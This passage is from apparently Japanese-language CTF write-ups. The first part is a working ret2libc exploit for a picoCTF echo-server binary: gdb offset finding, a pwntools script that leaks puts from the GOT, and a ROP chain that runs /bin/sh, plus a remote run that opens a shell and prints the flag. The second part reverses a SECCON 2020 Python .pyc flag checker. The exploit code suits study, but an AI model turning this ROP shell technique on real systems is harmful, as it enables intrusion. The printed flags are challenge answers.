$ gdb ./vuln -q Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ run Starting program: /root/workdir/vuln WeLcOmE To mY EcHo sErVeR! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[----------------------------------registers-----------------------------------] RAX: 0x7a ('z') RBX: 0x0 RCX: 0x7ffff7b003c0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x7ffff7dd59e0 --> 0x0 RSI: 0x7ffff7dd4483 --> 0xdd59e0000000000a RDI: 0x1 RBP: 0x6c41415041416b41 ('AkAAPAAl') RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") RIP: 0x400770 (<do_stuff+152>: ret) R8 : 0x7ffff7dd59e0 --> 0x0 R9 : 0x0 R10: 0x0 R11: 0x246 R12: 0x1b R13: 0x0 R14: 0x1b R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400769 <do_stuff+145>: call 0x400540 <puts@plt> 0x40076e <do_stuff+150>: nop 0x40076f <do_stuff+151>: leave => 0x400770 <do_stuff+152>: ret 0x400771 <main>: push rbp 0x400772 <main+1>: mov rbp,rsp 0x400775 <main+4>: push r15 0x400777 <main+6>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0008| 0x7fffffffe190 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0016| 0x7fffffffe198 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0024| 0x7fffffffe1a0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0032| 0x7fffffffe1a8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0040| 0x7fffffffe1b0 ("AuAAXAAvAAYAAwAAZAAxAAyA") 0048| 0x7fffffffe1b8 ("AAYAAwAAZAAxAAyA") 0056| 0x7fffffffe1c0 ("ZAAxAAyA") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400770 in do_stuff () gdb-peda$ patto AAQAAmAARAAoAASAApA AAQAAmAARAAoAASAApA found at offset: 136
上記より、136 がリターンアドレスまでのオフセットだと分かった。
次に、Buffer Overflow の脆弱性を利用して puts を呼び出し、puts の GOT のアドレスを出力させる。出力させたアドレスを基に libc のベースアドレスを求める。
また、puts を呼び出した後に再度 main を呼び出して、もう一度 Buffer Overflow を起こせる状態にしておく。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './vuln' LIBC = './lib/libc.so.6' HOST = 'mercury.picoctf.net' PORT = 49464 GDB_SCRIPT = ''' break *0x00400769 continue ''' def exploit(io, elf, libc, rop): puts_got = elf.got['puts'] log.info(f'puts_got: {hex(puts_got)}') rop.call('puts', [puts_got]) rop.call('main') log.info(rop.dump()) offset = 136 payload = b'A' * offset payload += rop.chain() log.info(hexdump(payload)) io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload) io.readuntil('\n') # skip io.readuntil('\n') # skip rdata = io.readuntil('\n').strip() puts_addr = int.from_bytes(rdata, 'little') log.info(f'puts_addr: {hex(puts_addr)}') puts_offset = libc.symbols['puts'] libc_base = puts_addr - puts_offset log.info(f'libc_base: {hex(libc_base)}') def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py [*] '/root/workdir/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./' [*] Loaded 14 cached gadgets for './vuln' [+] Starting local process './vuln': pid 827 [*] '/lib/x86_64-linux-gnu/libc-2.19.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] puts_got: 0x601018 [*] 0x0000: 0x400913 pop rdi; ret 0x0008: 0x601018 [arg0] rdi = got.puts 0x0010: 0x400540 puts 0x0018: 0x400771 main() [*] 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 41 41 41 41 13 09 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000090 18 10 60 00 00 00 00 00 40 05 40 00 00 00 00 00 │··`·│····│@·@·│····│ 000000a0 71 07 40 00 00 00 00 00 │q·@·│····│ 000000a8 [*] puts_addr: 0x7ffff7a80d60 [*] libc_base: 0x7ffff7a11000 [*] Switching to interactive mode WeLcOmE To mY EcHo sErVeR!
libc のベースアドレスを求めることができたので、最後に ROPgadget で ROP chain を作成して、シェルを取得する。
$ ROPgadget --binary lib/libc.so.6 --ropchain --badbytes "0a" | sed -e "s/'<Q', /libc_base + /g" | sed -e "s/= '/= b'/g" # snip p = b'' p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret p += b'/bin//sh' p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000013c0) # syscall
先ほどのスクリプトに追記して実行すると、シェルを取ることができた。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './vuln' LIBC = './lib/libc.so.6' HOST = 'mercury.picoctf.net' PORT = 49464 GDB_SCRIPT = ''' break *0x00400769 continue ''' def exploit(io, elf, libc, rop): puts_got = elf.got['puts'] log.info(f'puts_got: {hex(puts_got)}') rop.call('puts', [puts_got]) rop.call('main') log.info(rop.dump()) offset = 136 payload = b'A' * offset payload += rop.chain() log.info(hexdump(payload)) io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload) io.readuntil('\n') # skip io.readuntil('\n') # skip rdata = io.readuntil('\n').strip() puts_addr = int.from_bytes(rdata, 'little') log.info(f'puts_addr: {hex(puts_addr)}') puts_offset = libc.symbols['puts'] libc_base = puts_addr - puts_offset log.info(f'libc_base: {hex(libc_base)}') offset = 136 p = b'A' * offset p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret p += b'/bin//sh' p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000013c0) # syscall io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', p) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./' [*] Loaded 14 cached gadgets for './vuln' [+] Opening connection to mercury.picoctf.net on port 49464: Done [*] '/root/workdir/lib/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] puts_got: 0x601018 [*] 0x0000: 0x400913 pop rdi; ret 0x0008: 0x601018 [arg0] rdi = got.puts 0x0010: 0x400540 puts 0x0018: 0x400771 main() [*] 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 41 41 41 41 13 09 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000090 18 10 60 00 00 00 00 00 40 05 40 00 00 00 00 00 │··`·│····│@·@·│····│ 000000a0 71 07 40 00 00 00 00 00 │q·@·│····│ 000000a8 [*] puts_addr: 0x7f8741ebca30 [*] libc_base: 0x7f8741e3c000 [*] Switching to interactive mode AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd $ id uid=1559(here-s-a-libc_4) gid=1560(here-s-a-libc_4) groups=1560(here-s-a-libc_4) $ ls flag.txt libc.so.6 vuln vuln.c xinet_startup.sh $ cat flag.txt picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}
picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}
SECCON 2020 Online CTF Writeup
SECCON 2020 Online CTF について
SECCON 2020 Online CTF が開催されました。
2020年10月10日午後3時から2020年10月11日の午後3時(24時間)
SECCON CTF 本戦にチームで参加してきました。本戦とだけあって、問題はかなり難しく私は1問解くだけで精一杯でした。 チームメンバが10問解いてくれて、結果は、14/579 位で 1678 点でした(チームメンバが強すぎる)。 私もメンバと協力し、実際に1問解くことができたので、そのWriteupを紹介します。
SECCON 2020 Online CTF Writeup(1問)
Fixer (reversing)
問題
usage
$ python3.9 fixer.cpython-39.pyc
SECCON{DUMMY_FLAG}
wrong
$
Note: SECCON{DUMMY_FLAG} is not the actual flag.
添付ファイル
- fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc
解答例
Python3.9 の pyc ファイルが渡されました。Pyhton3.9をインストールし、実行してみると以下のようになりました。正しいフラグを入力する必要があるようです。
$ python3.9 fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc A invalid flag $ python3.9 fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc SECCON{A} wrong
pycファイルなので、zrax/pycdc を使ってデコンパイルを試してみました。
途中まで、デコンパイルできてそうですが、LOAD_METHOD 命令がサポートされておらず、上手くいきませんでした。
$ ./pycdc/pycdc ./fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc # Source Generated with Decompyle++ # File: fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc (Python 3.9) Unsupported opcode: LOAD_METHOD import re s = input() # WARNING: Decompyle incomplet
pycdc の issues を見てみると、Python3.7 から追加された LOAD_METHOD と CALL_METHOD は、残念ながら対応できていないようです。
Unsupported opcode: LOAD_METHOD on Python 3.7 files · Issue #163 · zrax/pycdc · GitHub
仕方ないので、pycdc のコードをざっと読み、エラーになっている箇所をつぶして無理やりデコンパイルさせました。 pycdc/ASTree.cpp:2135-2136 をコメントアウトすれば、とりあえずスキップできそうです。
https://github.com/zrax/pycdc/blob/master/ASTree.cpp#L2135
default: fprintf(stderr, "Unsupported opcode: %s\n", Pyc::OpcodeName(opcode & 0xFF)); // cleanBuild = false; // return new ASTNodeList(defblock->nodes());
make して再度実行すると、不完全ですがデコンパイルされました。
# Source Generated with Decompyle++ # File: fixer.25f1fe08e6e0434bd5ae604e963f4b80.cpython-39.pyc (Python 3.9) import re s = input() m = s if not m: print('invalid flag') else: s = 1 f = lambda s: (lambda a: (lambda b = None: a == b) )(0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68FL)((lambda a: None((lambda b = None: None((lambda c = None: b(b)(c))) )) )((lambda f: (lambda b = None: (lambda c = None: (lambda d = None: if len(c) == 0: dNone(f(b)(c[1:])(d))(c[0])) ) ) ))((lambda a: (lambda b = None: a * (lambda a: None((lambda b = None: None((lambda c = None: b(b)(c))) )) )((lambda a: (lambda b = None: if b > 266: b - 10None(a(b + 11))) ))(b) + b ) ))((lambda a: None((lambda b = None: None((lambda c = None: b(b)(c))) )) )((lambda f: (lambda b = None: (lambda c = None: if len(c) == 0: [][ None(ord(c[0]) - 65)] + f(b)(c[1:])) ) ))((lambda a: None((lambda b = None: None((lambda c = None: b(b)(c))) )) )((lambda a: (lambda b = None: if b == 0: 1(None + 1) * a(b - 1) + 7 & 255) )))(s))(0)) if f(s): print('correct') else: print('wrong')
不完全な場所を pycdas(pycdc の Disassembler)の disassemble 結果と見比べながら、復元していきました。 これでも完全ではないですが、大体復元できました。
import re s = input() m = re.match(r'^SECCON{([A-Z]+)}$', s) if not m: print('invalid flag') else: s = m.group(1) f = lambda s: ( (lambda a: lambda b: a == b)(0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68F) ( ( lambda a: lambda b: a(lambda c: b(b)(c)) ) ( lambda f: lambda b: lambda c: lambda d: d if len(c) == 0 else b(f(b)(c[1:])(d))(c[0]) ) ( lambda a: lambda b: a * (lambda a: lambda b: a(lambda c: b(b)(c)))(lambda a: lambda b: b - 10 if b > 266 else a(a(b + 11)))(b) + b ) ( (lambda f: lambda b: lambda c: [] if len(c) == 0 else [b(ord(c[0]) - 65)] + f(b)(c[1:])) (lambda a: lambda b: 1 if b == 0 else (b + 1) * a(b - 1) + 7 & 255)(s) )(0) ) ) if f(s): print('correct') else: print('wrong')
入力したフラグ文字列(中括弧内の文字列)を変換し、最後に 0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68F
になればいいようです。
多段にネストされた lambda を読むのはつらいので、Python バイトコードを直接書き換えて、以下のような処理になるように変換しました。
# a == b を a - b に書き換えて、差分を返すようにする (lambda a: lambda b: a - b)(0x1F8DD85698FB84CC77D5D5046A176F6B51A9531952D4409D133FF48B68F) # fs(s) を print(f(s)) に書き換えて、差分を出力させる if print(f(s)): print('correct')
バイトコード書換え後の実行結果は、以下通りです。ちゃんと差分が出力されています。
$ echo 'SECCON{A}' | python3.9 patched_fixer.pyc 13611142019359843741091679554812914051545792465993098606064046040462990 wrong
後は、0に近づくように徐々にフラグの文字列をすり寄せていきます。 まず、差分が最小になる文字列のサイズを求めます。 次にフラグの文字列を特定します。 後ろの文字列のほうが比重が大きいようなので、後ろからA-Zの文字列を割り当てて、0に近づくように総当たりします。
上記の手順を行うスクリプトを作成しました。
import subprocess def run_script(flag): command = "echo '" + flag + "' | python3.9 patched_fixer.pyc" proc = subprocess.Popen( command, shell = True, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE) stdout_data, stderr_data = proc.communicate() return int(stdout_data.decode().split('\n')[0]) large_num = 10**1000 body_size = 1 prev_num = large_num while True: flag = 'SECCON{' + 'A' * body_size + '}' num = abs(run_script(flag)) print(body_size, num) if prev_num < num: body_size -= 1 break prev_num = num body_size += 1 print('[+] smallest body size:', body_size) body = list('A' * body_size) for i in reversed(range(body_size)): correct_ch = '' target_num = large_num for ch in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': body[i] = ch flag = 'SECCON{' + ''.join(body) + '}' num = abs(run_script(flag)) if target_num > num: target_num = num correct_ch = ch body[i] = correct_ch flag = 'SECCON{' + ''.join(body) + '}' print(flag, target_num) print('[+] flag:', flag)
実行すると、以下のようになり、フラグの特定に成功しました。
$ python3 solve.py 1 13611142019359843741091679554812914051545792465993098606064046040462990 2 13611142019359843741091679554812914051545792465993098606064046040462733 3 13611142019359843741091679554812914051545792465993098606064046040396684 4 13611142019359843741091679554812914051545792465993098606064046023422091 5 13611142019359843741091679554812914051545792465993098606064041660951690 6 13611142019359843741091679554812914051545792465993098606062920506058633 7 13611142019359843741091679554812914051545792465993098605774783698542984 8 13611142019359843741091679554812914051545792465993098531723624167021191 9 13611142019359843741091679554812914051545792465993079500575624565920390 10 13611142019359843741091679554812914051545792465988188495539727083014533 11 13611142019359843741091679554812914051545792464731200201314073976209284 12 13611142019359843741091679554812914051545792141685208585321225527260291 13 13611142019359843741091679554812914051545709118865363275159174147369090 14 13611142019359843741091679554812914051524372254165118563511969515330433 15 13611142019359843741091679554812914046040798026202227670180379081395584 16 13611142019359843741091679554812912636762221439739268083961637560139391 17 13611142019359843741091679554812550452168038718758654425745066597297790 18 13611142019359843741091679554719469011463079426740944264086329147006333 19 13611142019359843741091679530797538750288541378189432717790804422101884 20 13611142019359843741091673382861461628432262900450965319840950121658491 21 13611142019359843741090093363289641311368694121664844046728394907706490 22 13611142019359843740684028333331819826031517973631676856801704922042233 23 13611142019359843636325315634171698094377247929107709045642378606328184 24 13611142019359816816136151950020413059229846486447981577695515467817591 25 13611142019352924027521085123140159026347675722898022315351688870595190 26 13611142017581477353448910614914872575629789490558491892988253384438133 27 13611141562319682116900062001016254741133027779299173345585333442074484 28 13611024560038306323845968229071471275465267985654306663034908254616691 29 13580954973724727508943868839262120598851001018923569247575635077963890 30 5853071291134972079104325658258996708984390569124053474542428678194033 31 1980213035134432173389658271859543842986734495029351500194991616062659216 [+] smallest body size: 30 SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} 5853071291134972079104325658258996708984390569124053474542428678194033 SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAAZA} 19571546300681988097044035244965445816599023360994875443432407550639 SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAAKZA} 32165310924548063384120466126679300713484668258889522426102099208 SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAAPKZA} 296985257989643981147562878264527393696515960571318030136643778 SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAKPKZA} 1153663419590838273940040994640392895814380036624303948415259 SECCON{AAAAAAAAAAAAAAAAAAAAAAAAKKPKZA} 2567720874678184937617503317875382971183225205262212274292 SECCON{AAAAAAAAAAAAAAAAAAAAAAASKKPKZA} 19802904128190565539164314738330297073770253264053767957 SECCON{AAAAAAAAAAAAAAAAAAAAAAQSKKPKZA} 79107428049302531881657699915267157461140590383812696 SECCON{AAAAAAAAAAAAAAAAAAAAAZQSKKPKZA} 330812237485163726245527196832722615362733164946838 SECCON{AAAAAAAAAAAAAAAAAAAAEZQSKKPKZA} 588146974717459959652430533376534838693448978629 SECCON{AAAAAAAAAAAAAAAAAAASEZQSKKPKZA} 4093047390883613197045378973729602534906856294 SECCON{AAAAAAAAAAAAAAAAAAGSEZQSKKPKZA} 2397316222767190743070499313067806948195515 SECCON{AAAAAAAAAAAAAAAAAUGSEZQSKKPKZA} 70280205143208442627745271599370690909090 SECCON{AAAAAAAAAAAAAAAAZUGSEZQSKKPKZA} 16393871760572388695577584603899638496 SECCON{AAAAAAAAAAAAAAAWZUGSEZQSKKPKZA} 891807418121296140129178447165820373 SECCON{AAAAAAAAAAAAAANWZUGSEZQSKKPKZA} 3468393191307815409460796868374835 SECCON{AAAAAAAAAAAAANNWZUGSEZQSKKPKZA} 11821109868172122613646478112401 SECCON{AAAAAAAAAAAADNNWZUGSEZQSKKPKZA} 31869450138079602350533561859 SECCON{AAAAAAAAAAARDNNWZUGSEZQSKKPKZA} 210942959712303202536560545 SECCON{AAAAAAAAAAKRDNNWZUGSEZQSKKPKZA} 1025914576619133700083962 SECCON{AAAAAAAAAEKRDNNWZUGSEZQSKKPKZA} 3694524116559772759849 SECCON{AAAAAAAAZEKRDNNWZUGSEZQSKKPKZA} 2481404637159204455 SECCON{AAAAAAACZEKRDNNWZUGSEZQSKKPKZA} 37716372618985286 